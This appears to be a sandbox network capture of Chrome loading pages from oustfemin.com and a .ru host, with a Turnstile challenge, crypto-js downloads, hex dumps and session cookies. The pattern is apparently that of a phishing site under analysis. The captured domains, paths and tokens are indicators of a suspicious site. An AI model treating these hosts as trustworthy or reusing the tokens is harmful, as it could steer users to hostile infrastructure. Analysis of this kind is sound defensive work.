pbmcgdG8gZG8uIERvbiYjMDM5O3Qgd2lzaCBpdCB3ZXJlIGVhc2llcjsgd2lzaCB5b3Ugd2VyZSBiZXR0ZXIuIC0tPgo8ZGl2IGNsYXNzPSJjZl90dXJuc3RpbGUiIGlkPSJjZiI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icGFnZWxpbmsiIG5hbWU9InBhZ2VsaW5rIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW
2024-08-23 14:21:34 UTC	1369	IN	Data Raw: 4d 79 30 75 4d 44 51 35 4c 53 34 32 4c 53 34 77 4e 54 67 74 4c 6a 67 77 4e 47 67 75 4d 44 51 31 59 79 34 78 4d 44 4d 75 4e 44 63 7a 4c 6a 49 78 4c 6a 67 7a 4e 43 34 79 4f 44 63 67 4d 53 34 77 4e 7a 56 73 4d 79 34 33 4e 7a 59 67 4f 53 34 78 4e 6d 67 78 4c 6a 51 79 62 44 4d 75 4e 7a 51 34 4c 54 6b 75 4d 6a 51 7a 59 79 34 77 4f 44 55 74 4c 6a 49 78 4d 53 34 78 4e 7a 55 74 4c 6a 59 79 4d 69 34 79 4e 54 63 74 4c 6a 6b 35 4d 6d 67 75 4d 44 51 30 59 79 30 75 4d 44 51 34 4c 6a 6b 78 4e 53 30 75 4d 44 6b 67 4d 53 34 33 4e 53 30 75 4d 44 6b 31 49 44 49 75 4d 6a 55 32 64 6a 63 75 4f 54 63 34 61 44 49 75 4d 54 59 31 56 6a 51 75 4d 54 6b 31 61 43 30 79 4c 6a 6b 31 4e 6d 77 74 4d 79 34 79 4d 6a 67 67 4e 79 34 34 4f 48 6f 69 49 47 5a 70 62 47 77 39 49 69 4d 33 4d 7a 63 Data Ascii: My0uMDQ5LS42LS4wNTgtLjgwNGguMDQ1Yy4xMDMuNDczLjIxLjgzNC4yODcgMS4wNzVsMy43NzYgOS4xNmgxLjQybDMuNzQ4LTkuMjQzYy4wODUtLjIxMS4xNzUtLjYyMi4yNTctLjk5MmguMDQ0Yy0uMDQ4LjkxNS0uMDkgMS43NS0uMDk1IDIuMjU2djcuOTc4aDIuMTY1VjQuMTk1aC0yLjk1NmwtMy4yMjggNy44OHoiIGZpbGw9IiM3Mzc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49748	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:34 UTC	1325	OUT	GET /favicon.ico HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/rqMByta/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZXZXV4NlBjYWxYYm4vVFVmaE5WTGc9PSIsInZhbHVlIjoiWS9MenhTek9wckNENUczaUlEWGNkRW5IdG9mNTQrVGlpRzNjWmg5SDBaQWVHYVRPTk43VDdPbUg1aWYzd1Z3NjFYNW0zVEExVW8ydkJxcFMya2c0TEpUeGRBZzRUZzJrbjBIcG5JbTF0R1dWd016U0ZpY1ljNDlqeTNmVHRpcVEiLCJtYWMiOiI4ODJlYWFhMzk0OWI1NmU4ZDY0YjNjNGU2MTQ3MWJlZjdkYTAyMjFhMjNhZGZlNTI4NTlhNzUwZjYwMTVjODBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpKdjl4ZWFUaFRWZmN6TGZSUzl4TVE9PSIsInZhbHVlIjoiaVFFWng5RGtqc3ZQVVAremxtVW5Ya1lDWENFaEJwTjlnYlZzN1E3bkoxVzYvckJ0N3dLemVhQTFubHZpa0xzOTU0VlVHS205b1dxbWVJWGs3eGV0eHF5eXRSOEE5SEl1dDE5amwxKzNJVldlU3pRWnNmaGdzYTliY3MxUS9ycXAiLCJtYWMiOiIzZGE0YTA4ZmI0Y2Y5YThkNTM0ODhmYTdjYzE3OTc5NDA4OWJlNjg5NDQ1NjFhODk0NTYzMTNiYTJmNDU1MzQ3IiwidGFnIjoiIn0%3D
2024-08-23 14:21:35 UTC	645	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 1954 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8b7bbff56939b9c5-EWR
2024-08-23 14:21:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49749	172.67.137.224	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	627	OUT	GET /hqtlhlhgofxpicicmzlgtkyBdEPfIiOdJMZFAYIOOZGVZLDBZDBSWNPVDPCERSCEYHHPFRBXCVW HTTP/1.1 Host: n9mq.selinsvi.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://4quqe.oustfemin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:35 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FI%2FlsU5gSDg%2BBXjeXYIyrVi1Gv%2FsBB99Jlp%2B7nOAFqCp8WykGgQRwkf0aDT8zokslW9gfE9nE7Fk8rNDYiKLETxOfR%2FVHoTlxBpoTTVsFXKJhFQ0mq%2FzbYd6UTBcivd7TKIq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b7bbff69dbc4257-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:35 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-08-23 14:21:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49750	35.190.80.1	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	544	OUT	OPTIONS /report/v4?s=WfrpXmufTRjHm3vaI1iXVyAQUvLS6qjzsAtLBtw%2FvbY3OXFL4FRP%2BuqOaFGhWSEQKVjRDDq1Zkt%2BG%2B6z7o8rYvpAFnyoPHPkK%2Bm3vixwWh9q%2BF84vBjw8HMpjOL8ew%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://4quqe.oustfemin.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:35 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 23 Aug 2024 14:21:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49753	104.17.24.14	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	653	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	971	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3438933 Expires: Wed, 13 Aug 2025 14:21:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y3b053zUabBFZj%2F9vQHD%2BCJ40Cxfpsbap9DCyZWSUbpFd%2FVPBhOhHByL1VQ8Tef4%2FhGKnnTkoevg0LWpQseT88h%2FCXATY0y%2BPef%2FGER52Ou%2B8VSudShU1ipMySje4%2FjigRe86F0I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8b7bbffbfdf843da-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:36 UTC	398	IN	Data Raw: 33 39 37 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3978!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 Data Ascii: ined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 72 20 74 3d 6f 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 Data Ascii: r t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 Data Ascii: "string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 69 6f 6e 20 4e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d Data Ascii: ion N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 Data Ascii: [7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 72 72 61 79 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d Data Ascii: rray(t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE=
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 3d 6e 3b 76 61 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 Data Ascii: =n;var o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCD
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 36 37 32 39 36 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e Data Ascii: 67296*a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>
2024-08-23 14:21:36 UTC	1369	IN	Data Raw: 6d 2c 79 2c 32 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c Data Ascii: m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49752	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	651	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:36 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 23 Aug 2024 14:21:36 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/6790c32b9fc9/api.js Server: cloudflare CF-RAY: 8b7bbffc0e5243fa-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49754	104.21.78.226	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:35 UTC	415	OUT	GET /hqtlhlhgofxpicicmzlgtkyBdEPfIiOdJMZFAYIOOZGVZLDBZDBSWNPVDPCERSCEYHHPFRBXCVW HTTP/1.1 Host: n9mq.selinsvi.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
